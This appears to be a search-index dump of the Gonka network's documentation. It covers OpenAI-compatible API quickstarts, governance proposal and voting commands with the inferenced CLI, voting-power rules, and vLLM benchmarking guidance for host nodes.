import os\nfrom openai import OpenAI\n\nclient = OpenAI(\n base_url=os.environ[\"GONKA_BROKER_URL\"],\n api_key=os.environ[\"GONKA_BROKER_API_KEY\"],\n)\n\nresponse = client.chat.completions.create(\n model=os.environ[\"GONKA_MODEL\"],\n messages=[\n {\"role\": \"user\", \"content\": \"Write a one-sentence bedtime story about a unicorn\"}\n ],\n)\n\nprint(response.choices[0].message.content)\nRun with python example.py.
Install the OpenAI JS SDK:
npm install openai\nCreate example.mjs:
import OpenAI from \"openai\";\n\nconst client = new OpenAI({\n baseURL: process.env.GONKA_BROKER_URL,\n apiKey: process.env.GONKA_BROKER_API_KEY,\n});\n\nconst response = await client.chat.completions.create({\n model: process.env.GONKA_MODEL,\n messages: [{ role: \"user\", content: \"Hello! Tell me a short joke.\" }],\n});\n\nconsole.log(response.choices[0].message.content);\nRun with node example.mjs.
Use the official openai-go client:
package main\n\nimport (\n \"context\"\n \"log\"\n \"os\"\n\n \"github.com/openai/openai-go\"\n \"github.com/openai/openai-go/option\"\n)\n\nfunc main() {\n client := openai.NewClient(\n option.WithBaseURL(os.Getenv(\"GONKA_BROKER_URL\")),\n option.WithAPIKey(os.Getenv(\"GONKA_BROKER_API_KEY\")),\n )\n\n r, err := client.Chat.Completions.New(context.Background(), openai.ChatCompletionNewParams{\n Model: os.Getenv(\"GONKA_MODEL\"),\n Messages: []openai.ChatCompletionMessageParamUnion{\n openai.UserMessage(\"Write a haiku about programming\"),\n },\n })\n if err != nil {\n log.Fatal(err)\n }\n log.Println(r.Choices[0].Message.Content)\n}\nIn a few moments, you should see the inference response in your terminal.
"}, {"location": "gonka/docs/developer/quickstart/#15-tool-calling", "title": "1.5 Tool calling", "text": "Tool calling is supported through the same OpenAI-compatible endpoint. Only type: \"function\" is supported — Gonka uses vLLM under the hood, which implements the OpenAI chat completions spec, not the Assistants API (code_interpreter, file_search are unavailable).
import os\nimport json\nfrom openai import OpenAI\n\nclient = OpenAI(\n base_url=os.environ[\"GONKA_BROKER_URL\"],\n api_key=os.environ[\"GONKA_BROKER_API_KEY\"],\n)\n\ntools = [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"get_weather\",\n \"description\": \"Get the current weather for a city\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"city\": {\"type\": \"string\", \"description\": \"City name\"}\n },\n \"required\": [\"city\"],\n },\n },\n }\n]\n\nresponse = client.chat.completions.create(\n model=os.environ[\"GONKA_MODEL\"],\n messages=[{\"role\": \"user\", \"content\": \"What's the weather in Paris?\"}],\n tools=tools,\n tool_choice=\"auto\",\n)\n\nmessage = response.choices[0].message\nif message.tool_calls:\n call = message.tool_calls[0]\n args = json.loads(call.function.arguments)\n print(call.function.name, args)\nimport OpenAI from \"openai\";\n\nconst client = new OpenAI({\n baseURL: process.env.GONKA_BROKER_URL,\n apiKey: process.env.GONKA_BROKER_API_KEY,\n});\n\nconst tools = [\n {\n type: \"function\",\n function: {\n name: \"get_weather\",\n description: \"Get the current weather for a city\",\n parameters: {\n type: \"object\",\n properties: { city: { type: \"string\", description: \"City name\" } },\n required: [\"city\"],\n },\n },\n },\n];\n\nconst response = await client.chat.completions.create({\n model: process.env.GONKA_MODEL,\n messages: [{ role: \"user\", content: \"What's the weather in Paris?\" }],\n tools,\n tool_choice: \"auto\",\n});\n\nconst message = response.choices[0].message;\nif (message.tool_calls) {\n const call = message.tool_calls[0];\n const args = JSON.parse(call.function.arguments);\n console.log(call.function.name, args);\n}\nIf your application has high throughput or other requirements, you can run a Gonka gateway yourself instead of going through a broker. The gateway is a small program (shipped as a Docker container) that you run on your own machine or server — never on a Gonka host. It exposes the same OpenAI-compatible API as a broker, but you own the keys, and you pay GNK directly on-chain for the devshards it creates.
Self-hosted gateway requires an allow-listed address
Today, only Gonka accounts on the on-chain devshard_escrow_params.allowed_creator_addresses list can open devshards. If your address is not on that list, your gateway cannot create sessions, and you cannot send inference. The allow-list is changed only by on-chain governance vote. See Interested in operating a gateway? below.
Full deployment instructions are in Run your own gateway.
"}, {"location": "gonka/docs/developer/quickstart/#3-interested-in-operating-a-gateway", "title": "3. Interested in operating a gateway?", "text": "Inference reaches the network through a gateway. There are two ways to have one, and they are governed differently.
Use a public gateway (current brokers). The brokers in §1.1 reach inference through a public Gonka gateway under access arrangements made during the early rollout. That was a bootstrap step, and the directory is not being actively expanded.
Run your own gateway. Operate your own on-chain devshard gateway. This requires your address on the governance-controlled allow-list (devshard_escrow_params.allowed_creator_addresses), and it is the recommended path for new operators. Full instructions are in the gateway guide.
To request consideration for on-chain allow-listing, open a GitHub issue including your operator name and contact, the gonka1... address you intend to use, and the models you plan to serve. Inclusion is an on-chain governance decision — no single operator or organization adds an address unilaterally — and expressing interest does not guarantee inclusion, review, or a timeline.
Need help? See the FAQ page, or join the Discord server for technical issues or security concerns.
"}, {"location": "gonka/docs/governance/creating-proposals/", "title": "Creating Proposals", "text": ""}, {"location": "gonka/docs/governance/creating-proposals/#how-to-create-and-submit-a-governance-proposal-on-gonka", "title": "How to Create and Submit a Governance Proposal on Gonka", "text": "Step-by-step for submitting Proposal with inferenced. Aligned with Gonka Transactions & Governance. Replace every placeholder with your own values before running commands.
<COLD_KEY_NAME> Your key name in the keyring (not your gonka1... address) <PATH_TO_PROPOSAL_JSON> Path to the proposal JSON file, e.g. ./proposal.json <NODE_URL> Node base URL without /chain-rpc/, e.g. http://node1.gonka.ai:8000 <CHAIN_ID> e.g. gonka-mainnet for mainnet If a command fails with connection or parse, check that every RPC command uses <NODE_URL>/chain-rpc/ with exactly one /chain-rpc/.
inferenced query / tx <NODE_URL>/chain-rpc/ (must include /chain-rpc/) create-client (HTTP .../v1/participants on the seed) <NODE_URL> (no /chain-rpc/) Using <NODE_URL>/chain-rpc/ for --node-address in create-client is incorrect and will fail or hit the wrong service.
Download a build for your OS from Gonka releases, unpack, then:
chmod +x inferenced\n./inferenced --help\nFor detailed CLI installation instructions, see the local machine CLI setup guide. After installing the CLI, you can return to this page and continue.
"}, {"location": "gonka/docs/governance/creating-proposals/#2-read-governance-parameters-from-the-chain", "title": "2. Read governance parameters from the chain", "text": "Do not rely on fixed numbers from old docs. Governance parameters are configurable on-chain, so query live values before drafting a proposal or announcing voting rules:
./inferenced query gov params \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\" \\\n -o json | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n max_deposit_period,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\nYour proposal JSON deposit must satisfy min_deposit (same denom, amount >= minimum). If the proposal is expedited, check expedited_min_deposit, expedited_voting_period, and expedited_threshold as well.
At the time of writing, mainnet uses:
min_deposit: 500000000000ngonka # 500 GNK\nexpedited_min_deposit: 1000000000000ngonka # 1000 GNK\nmax_deposit_period: 86400s # 24 hours\nvoting_period: 172800s # 48 hours\nexpedited_voting_period: 43200s # 12 hours\nquorum: 0.25\nthreshold: 0.500000000000000000\nexpedited_threshold: 0.667000000000000000\nveto_threshold: 0.334000000000000000\nburn_vote_veto: true\nPrepare a gov v1 JSON (messages, metadata, deposit, title, summary).
A proposal must carry either at least one message or a non-empty metadata field. A signaling proposal with an empty messages array and an empty metadata is rejected on submission (either metadata or Msgs length must be non-nil), so set metadata to a non-empty value in that case.
There are two main parts to prepare:
"}, {"location": "gonka/docs/governance/creating-proposals/#proposal-description-fields", "title": "Proposal description fields", "text": "Keep the on-chain text short and clear.
Make sure the proposal includes:
For the JSON structure, the best approach is to inspect previous proposals and use them as references.
You can inspect previous proposal JSONs to see how different proposal types are structured. In many cases, it is easier to start from a similar previous proposal and adapt it.
For messages such as MsgUpdateParams, the chain expects the full params object and correct authority (gov module address). Fetch the gov module address:
./inferenced query auth module-accounts \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\" \\\n -o json | jq -r '.accounts[] | select(.value.name==\"gov\") | .value.address'\nUse that address as authority where the message type requires it.
If the jq line prints nothing, run the same query without jq once and locate the gov module entry manually. The output shape can differ slightly by SDK version.
create-client)", "text": "This creates a key and calls the seed HTTP API (participant registration). Use <NODE_URL> only:
./inferenced create-client \"<COLD_KEY_NAME>\" \\\n --node-address \"<NODE_URL>\"\nStore the mnemonic safely. If you already have a funded key for governance, skip this and avoid double registration.
Use the same --keyring-backend everywhere (e.g. file) for keys show, tx gov submit-proposal, and tx gov vote.
./inferenced query bank balances \\\n \"$(./inferenced keys show \"<COLD_KEY_NAME>\" -a --keyring-backend file)\" \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\"\nEnsure you have enough ngonka (or the fee denom your node expects) for min_deposit and fees.
Recommended pattern from the official Gonka doc:
./inferenced tx gov submit-proposal \"<PATH_TO_PROPOSAL_JSON>\" \\\n --from \"<COLD_KEY_NAME>\" \\\n --keyring-backend file \\\n --chain-id \"<CHAIN_ID>\" \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --unordered --timeout-duration=60s \\\n --gas 2000000 --gas-adjustment 5.0 \\\n --yes\nAfter submission, note the proposal number from the output or find it via query commands. Share the proposal number so the community announcement can go out.
"}, {"location": "gonka/docs/governance/creating-proposals/#voting-and-tally", "title": "Voting and tally", "text": "Voting steps and result formulas are documented on the dedicated page:
TL;DR: draft a proposal with MsgUpdateParams, include all params for that module, ensure deposit meets min_deposit, submit, then track/deposit/vote.
inferenced query auth module-accounts --node <NODE_URL>/chain-rpc/ | grep -B2 'name: gov'\ninferenced query inference params -o json --node <NODE_URL>/chain-rpc/ > current_params.json\ninferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\ninferenced tx gov draft-proposal\n# fills draft_proposal.json and draft_metadata.json\nEdit draft_proposal.json and include the full params object.
inferenced tx gov submit-proposal ./draft_proposal.json \\\n --from <COLD_KEY_NAME> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\ninferenced query gov proposals --node <NODE_URL>/chain-rpc/\n# 2a) Get current module params (example: inference module)\ninferenced query inference params -o json --node <NODE_URL>/chain-rpc/ > current_params.json\n\n# 2b) Extract proposed params from the proposal\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.proposal.messages[] | select(.\"type\"==\"inference/x/inference/MsgUpdateParams\") | .value' \\\n > proposed_params.json\n\n# 2c) Diff\ndiff -u current_params.json proposed_params.json || true\nFor MsgUpdateParams, modules typically expect the full params object and authority set to the gov module account.
All governance actions are performed from your Cold Account Machine, using the stored in your file keyring. This is the governance key you created when joining the network (see quickstart).
Transactions are sent through an RPC endpoint (here referred to as <NODE_URL>/chain-rpc/). If you do not specify --node, the CLI defaults to tcp://localhost:26657. Unless you run your own node locally, always provide --node <NODE_URL>/chain-rpc/.
Unordered transactions are supported and recommended here to avoid sequence contention. (docs.cosmos.network)
Always include these flags in transaction commands--from <COLD_KEY_NAME> → use your cold governance key.--keyring-backend file → ensures signing with your local key (you will be prompted).--unordered --timeout-duration=60s → makes the tx valid for a bounded time, bypassing sequence ordering (new in v0.53+).--gas=2000000 → manual gas limit (a generous fixed value, enough for these txs). Note: --gas-adjustment only multiplies the estimate when --gas auto is used, so alongside a fixed --gas it is ignored and adds no buffer.--node <NODE_URL>/chain-rpc/ → required unless you run a local RPC node.--yes → auto-approve broadcasting.For background on transaction lifecycle and gas, see Cosmos SDK: Transactions and Gas & Fees.
"}, {"location": "gonka/docs/governance/transactions-and-governance/#when-a-governance-proposal-is-required", "title": "When a Governance Proposal Is Required", "text": "Governance Proposals are required for any on-chain changes that affect the network, for example:
MsgUpdateParams)Anyone with a valid governance key (cold account) can pay the required fee and create a Governance Proposal. However, each proposal must still be approved by active participants through PoC-weighted voting.
Proposers are encouraged to discuss significant changes off-chain first (for example, via GitHub or community forums) to increase the likelihood of approval.
Need proposal creation, voting, voting power, eligibility, and delegation details?Governance parameters can be changed by successful proposals. Always query the chain for current values before preparing a proposal, publishing voting instructions, or explaining whether a proposal is likely to pass.
inferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n max_deposit_period,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\nAt the time of writing, mainnet uses a 48-hour regular voting period, 12-hour expedited voting period, 25% quorum, >50% regular Yes threshold, >66.7% expedited Yes threshold, >33.4% veto threshold, 500 GNK minimum deposit for regular proposals, and 1000 GNK minimum deposit for expedited proposals.
"}, {"location": "gonka/docs/governance/transactions-and-governance/#track-proposal-status", "title": "Track Proposal Status", "text": "# One proposal\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# Tally only\ninferenced query gov tally <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# List all\ninferenced query gov proposals -o json --node <NODE_URL>/chain-rpc/\nFor the full quorum, threshold, veto, and abstain formulas, see Voting on Proposals.
You can also monitor governance via dashboards:
<NODE_URL>/dashboard/gonka/gov--unordered, the tx carries an expiry via --timeout-duration, and its sequence is left unset. External tooling that expects monotonic sequences must not rely on them for these txs. (docs.cosmos.network)--gas-adjustment or set --gas-prices per network policy. (docs.cosmos.network)A vote requires bonded tokens > 0 at the proposal's voting_end_height. Eligibility is determined by three independent checks:
Bonded status (Cosmos SDK)
Only validators with status = BOND_STATUS_BONDED and tokens > 0 contribute voting power. Bonded entries with zero tokens are dormant and contribute nothing.
Jail status
A jailed validator (jailed = true) is automatically unbonded and removed from the active validator set, losing all voting power until they manually unjail via MsgUnjail. Slashing for downtime or double-signing triggers jail.
In the Gonka fork this is reinforced through SetComputeValidators: at epoch end, validators not in the compute results, or explicitly marked for deletion, get tokens = 0. Because Gonka has no traditional unbonding period, jailed validators are deleted immediately rather than entering an unbonding queue.
PoC and CPoC participation
Voting power ultimately derives from participant.weight, which is recomputed each epoch based on PoC and CPoC results:
INACTIVE, dropped from the next epoch's compute results, given tokens = 0, and cannot vote.tokens = 0, no vote weight.Delegators
Standard Cosmos SDK delegators, meaning anyone who staked via MsgDelegate, can vote independently and their vote overrides their validator's vote on the share they delegated. In practice almost all Gonka voting power lives in self-delegations by validators tied to their PoC weight, so this path is rarely used.
Most participants only need to verify a proposal and cast a vote. Do these four things:
"}, {"location": "gonka/docs/governance/voting-on-proposals/#identify-the-right-proposal-id-and-verify-it-is-the-one-you-were-told", "title": "Identify the right proposal ID (and verify it is the one you were told)", "text": "# List all proposals (IDs + basic info)\ninferenced query gov proposals -o json --node <NODE_URL>/chain-rpc/\n# Inspect a specific proposal in detail\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\nConfirm the id, title, summary, and (if present) metadata match what was shared with you.
Know the voting options and short flowyes, no, no_with_veto, abstain.Governance parameters are configurable on-chain. Do not rely on fixed numbers copied from older docs or announcements; query the live chain before recommending how participants should vote.
inferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto,\n min_deposit,\n expedited_min_deposit\n }'\nAt the time of writing, mainnet parameters are:
min_deposit: 500000000000ngonka # 500 GNK\nexpedited_min_deposit: 1000000000000ngonka # 1000 GNK\nmax_deposit_period: 86400s # 24 hours\nvoting_period: 172800s # 48 hours\nexpedited_voting_period: 43200s # 12 hours\nquorum: 0.25\nthreshold: 0.500000000000000000\nexpedited_threshold: 0.667000000000000000\nveto_threshold: 0.334000000000000000\nburn_vote_veto: true\nThe tally uses PoC-weighted voting power. A proposal can pass only after quorum is reached:
total_votes / total_bonded_voting_power >= quorum\nWhere:
total_votes = Yes + No + NoWithVeto + Abstain\nnon_abstain_votes = Yes + No + NoWithVeto\nWith current mainnet params, quorum is:
total_votes / total_bonded_voting_power >= 0.25\nAfter quorum, veto is checked before the pass threshold:
NoWithVeto / (Yes + No + NoWithVeto + Abstain) > veto_threshold\nWith current mainnet params:
NoWithVeto / total_votes > 0.334\nIf this condition is true, the proposal fails by veto. Since burn_vote_veto is currently true, a veto rejection burns the proposal deposit.
Finally, the regular pass threshold is:
Yes / (Yes + No + NoWithVeto) > threshold\nWith current mainnet params:
Yes / non_abstain_votes > 0.5\nFor expedited proposals:
Yes / non_abstain_votes > 0.667\nabstain affects the result", "text": "abstain is neutral, but it still affects the tally:
Important: abstain does not add to no_with_veto. The veto numerator is only NoWithVeto.
Example:
Yes = 40\nNo = 0\nNoWithVeto = 20\nAbstain = 40\n\nveto ratio = 20 / 100 = 20% # veto does not trigger\npass ratio = 40 / 60 = 66.7% # passes regular threshold\n# options: yes | no | no_with_veto | abstain\ninferenced tx gov vote <VOTE_PROPOSAL_ID> yes \\\n --from <COLD_KEY_NAME> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\n# See tally\ninferenced query gov tally <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# Optional: list votes\ninferenced query gov votes <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\nquery gov proposal, query gov tally, and query gov proposals. See also Track Proposal Status.--keyring-backend file --unordered --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 --node <NODE_URL>/chain-rpc/.The total bonded weight is the sum of validator.tokens across all bonded validators with tokens > 0:
total_bonded = Σ validator.tokens (over all bonded validators with tokens > 0)\nEach validator's tokens value is set on every epoch transition by the inference module via Staking.SetComputeValidators(). For the vast majority of validators:
validator.tokens = participant.weight (their PoC weight in the current epoch)\nFor the Genesis Guardians, an additional power-enhancement step is applied first (see below).
"}, {"location": "gonka/docs/governance/voting-power-eligibility/#genesis-guardians", "title": "Genesis Guardians", "text": "A small set of bootstrap validators operated by the project team, hardcoded into chain params. They receive a temporary power boost during the early network phase. The boost is configurable on-chain and has changed over time, so query live params before publishing exact Guardian voting-power numbers.
Current Genesis Guardian set on the live networkgonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5 (gonka-1)gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v (gonka-2)gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e (gonka-3)This list is governance-configurable (genesis_guardian_params.guardian_addresses) and is not expected to change during the bootstrap phase.
Mechanism is documented in the official proposal:
Before SetComputeValidators runs, the inference module applies applyEarlyNetworkProtection, which computes enhanced power as follows:
other_total = total_network_power − Σ guardian_original_power\ntotal_enhancement = other_total × multiplier\nper_guardian_power = total_enhancement / guardian_count\n\nguardian.tokens = per_guardian_power # original PoC weight is REPLACED\nnon_guardian.tokens = participant.weight # unchanged\nAs of the v0.2.13 upgrade, the configured multiplier is 0.33334, which targets roughly 25% combined Guardian power at the epoch transition where the boost is applied:
guardian_share = multiplier / (1 + multiplier)\nguardian_share = 0.33334 / 1.33334 ≈ 25%\nEffect (measured at each epoch transition):
multiplier / (1 + multiplier) of total bonded power.tokens are set once per epoch, so as the rest of the network's PoC weight grows the combined Guardian share can drift between epoch transitions.0.33334 multiplier, Guardians target roughly 25% combined adjusted power, not enough to pass proposals alone and not enough to veto alone under the current 33.4% veto threshold.The enhancement deactivates automatically (no governance vote required) when both of the following on-chain conditions are met:
total_network_power >= network_maturity_threshold (currently 15,000,000)\ncurrent_height >= network_maturity_min_height (currently 3,000,000)\nCurrent status on the live network:
3,000,000) has already been crossed.15,000,000, so the boost remains active.15,000,000; at that point, Guardian validators' tokens will equal their PoC weight, just like every other validator.Both thresholds are governance-tunable (network_maturity_threshold and network_maturity_min_height), so the activation cut-off can be adjusted by a successful governance proposal if needed.
If the key that holds voting power is not the key you use for day-to-day operations, governance voting permission can be granted in advance.
In this setup:
Please contact the owner of that key and ask them to grant your key permission to vote on their behalf. Without this authorization, your key cannot submit a governance vote for that voting power.
"}, {"location": "gonka/docs/governance/voting-power-eligibility/#another-key-votes-on-your-behalf", "title": "Another key votes on your behalf", "text": "Use the grant command below from the key that holds the voting power. This will authorize the grantee key to submit governance votes for you. This delegation only allows voting on governance proposals. The grantee can still vote for their own key as well. The granter can revoke this permission at any time.
"}, {"location": "gonka/docs/governance/voting-power-eligibility/#1-grant-voting-permission-run-from-the-granter-key", "title": "1. Grant voting permission (run from the granter key)", "text": "CommandExample response./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"<NODE_URL>/chain-rpc/\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\\n --from=<GRANTEE_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file \\\n --node=\"<NODE_URL>/chain-rpc/\" -y\n{\n \"height\": \"0\",\n \"txhash\": \"C31311D9C43DD6F1DDE7CA143989A0551E3075C2FA0A2BB5F054A120AE552B2B\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\ncode: 0 means the vote transaction was accepted — this is what tells you the vote went through. The CLI returns the broadcast receipt with the txhash; height is 0 until the tx is included in a block.
= participant.weight Genesis Guardian, in epoch Yes = (other_total × current_multiplier) / guardian_count (boosted while early network protection is active) Failed PoC last epoch (INACTIVE) No 0 Failed CPoC, removed from epoch No 0 Jailed validator No 0 (until unjailed + re-bonded) Bonded validator with tokens = 0 No 0 Delegator (manual MsgDelegate stake) Yes = their share of the validator's tokens"}, {"location": "gonka/docs/host/", "title": "Redirecting to Hosts Section", "text": ""}, {"location": "gonka/docs/host/#redirecting-to-hosts-section", "title": "Redirecting to Hosts Section", "text": "This page is redirecting you to the Hosts section of the documentation.
If you are not redirected automatically, please click here.
"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/", "title": "Deployment benchmark", "text": ""}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#benchmark-to-choose-optimal-deployment-config-for-llms", "title": "Benchmark to Choose Optimal Deployment Config for LLMs", "text": ""}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#intro", "title": "Intro", "text": "Effective GPU utilization is critical for deploying large language models. Gonka Nodes utilize a customized vLLM inference engine that supports both high-performance inference and its validation.
To achieve the best results, vLLM requires careful, server-specific configuration. The optimal performance depends on both GPUs' characteristics and the speed of cross-GPU data transfer. This guide provides instructions on how to select vLLM parameters using the Qwen/Qwen3-32B-FP8 model as an example. We will also describe which parameters can be tuned for optimal performance without affecting validation and which parameters must remain unchanged.
Performance vs. correctness
This guide is about performance tuning (compressa-perf, TP / PP). To validate that your deployment produces honest PoC vectors matching the golden reference for the target model, see Validate ML Node Deployment (mlnode-validate skill in the gonka repo).
Link to our vLLM fork.
"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#understanding-vllm-parameters", "title": "Understanding vLLM Parameters", "text": "To configure a vLLM-based model deployment, you define args for each model:
\"Qwen/Qwen3-32B-FP8\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--pipeline-parallel-size\",\n \"2\"\n ]\n}\nThe amount of GPUs used by a single instance of vLLM depends on two parameters:
--tensor-parallel-size (TP)--pipeline-parallel-size (PP)The amount of used GPUs is equal to TP*PP in most cases.
If an MLNode has more GPUs than a single instance requests, it will spin up multiple instances, utilizing the available GPUs efficiently.
For example, if the node has 10 GPUs and each instance is configured to use 4, MLNode will launch two instances (4 + 4 GPUs) and load-balance requests between them. In many cases, deploying a higher number of vLLM instances, with each instance utilizing a smaller count of GPUs, can be a more effective strategy.
There are two types of parameters in vLLM.
Type Description Parameters Affects Inference Changes output quality or behavior. You must not modify these parameters unless explicitly allowed, as it may cause validation to fail.--kv-cache-dtype--max-model-len--speculative-model--dtype--quantization etc. Does Not Affect Inference Changes how the model utilizes available GPUs. --tensor-parallel-size--pipeline-parallel-size--enable-expert-parallel etc."}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#performance-testing", "title": "Performance testing", "text": "To measure the performance of your model deployment, you'll use the compressa-perf tool. You can find the tool on GitHub.
First, install compressa-perf using pip:
pip install git+https://github.com/product-science/compressa-perf.git\nThe benchmark tool uses a YAML configuration file to define test parameters. A default configuration file is available here.
"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#3-run-the-performance-test", "title": "3. Run the Performance Test", "text": "Once your model is deployed, you can test its performance. Use the following command, replacing <IP> and <INFERENCE_PORT> with your specific deployment details, and MODEL_NAME with the name of the model you're testing (e.g., Qwen/Qwen3-32B-FP8):
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://<IP>:<INFERENCE_PORT> \\\n config.yml \\\n --model_name MODEL_NAME\ncompressa-perf-db.sqlite"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#4-view-results", "title": "4. View Results", "text": "To display the benchmark results, including key metrics and parameters, run:
compressa-perf list --show-metrics --show-parameters\nTesting is performed on a server where MLNode has been deployed according to the instructions. Ensure the performance tool (compressa-perf) is installed and the necessary configuration file has been downloaded before proceeding.
\"MODEL_NAME\": {\n \"args\": [\n ]\n} \nDetermine the range of tunable parameters you will experiment with. For performance optimization without affecting inference output, these primarily include parameters like --tensor-parallel-size (TP) and --pipeline-parallel-size (PP), among others that do not alter inference results.
Choose these parameters based on your server's GPUs and the model's size. The number of GPUs used by a single vLLM instance is generally the product of tensor-parallel size and pipeline-parallel size. Multiple instances are used automatically if possible.
"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#3-test-each-configuration-and-measure-performance", "title": "3. Test Each Configuration and Measure Performance", "text": "For each defined configuration:
"}, {"location": "gonka/docs/host/benchmark-to-choose-optimal-deployment-config-for-llms/#31-deploy-the-configuration", "title": "3.1. Deploy the Configuration", "text": "Deploy the current configuration using the MLNode REST API endpoint:
http://<IP>:<MANAGEMENT_PORT>/api/v1/inference/up\nimport requests\nfrom typing import List, Optional\n\ndef inference_up(\n base_url: str,\n model: str,\n config: dict\n) -> dict:\n url = f\"{base_url}/api/v1/inference/up\"\n payload = {\n \"model\": model,\n \"dtype\": \"float16\",\n \"additional_args\": config[\"args\"]\n }\n\n response = requests.post(url, json=payload)\n response.raise_for_status()\n\n return response.json()\n\nmodel_name = \"MODEL_NAME\"\nmodel_config = {\n \"args\": [\n \"--tensor-parallel-size\", \"8\",\n \"--pipeline-parallel-size\", \"1\",\n ]\n}\n\ninference_up(\n base_url=\"http://<IP>:<MANAGEMENT_PORT>\",\n model=model_name,\n config=model_config\n)\nhttp://<IP>:<MANAGEMENT_PORT>/api/v1/state.The expected status:
{'state': 'INFERENCE'}\nRun the compressa-perf tool to measure the performance of the deployed configuration and collect the relevant metrics.
Analyze the collected metrics (such as TTFT, Latency, and Throughput) from each tested configuration. Compare these results to identify the setup that provides the best performance for the server environment.
Qwen/Qwen3-32B-FP8 at 8x4070 STi server", "text": "Let’s assume we have a server with 8x4070 S Ti. Each GPU has 16GB VRAM. We have deployed the MLNode container to this server, with the following port mappings:
http://24.124.32.70:46195http://24.124.32.70:46085For this example, we'll use the Qwen/Qwen3-32B-FP8 model, which is one of the models deployed at Gonka. It has the following mandatory parameters:
--kv-cache-dtype fp8--quantization fp8Based on these mandatory parameters, the initial configuration for Qwen/Qwen3-32B-FP8 must include:
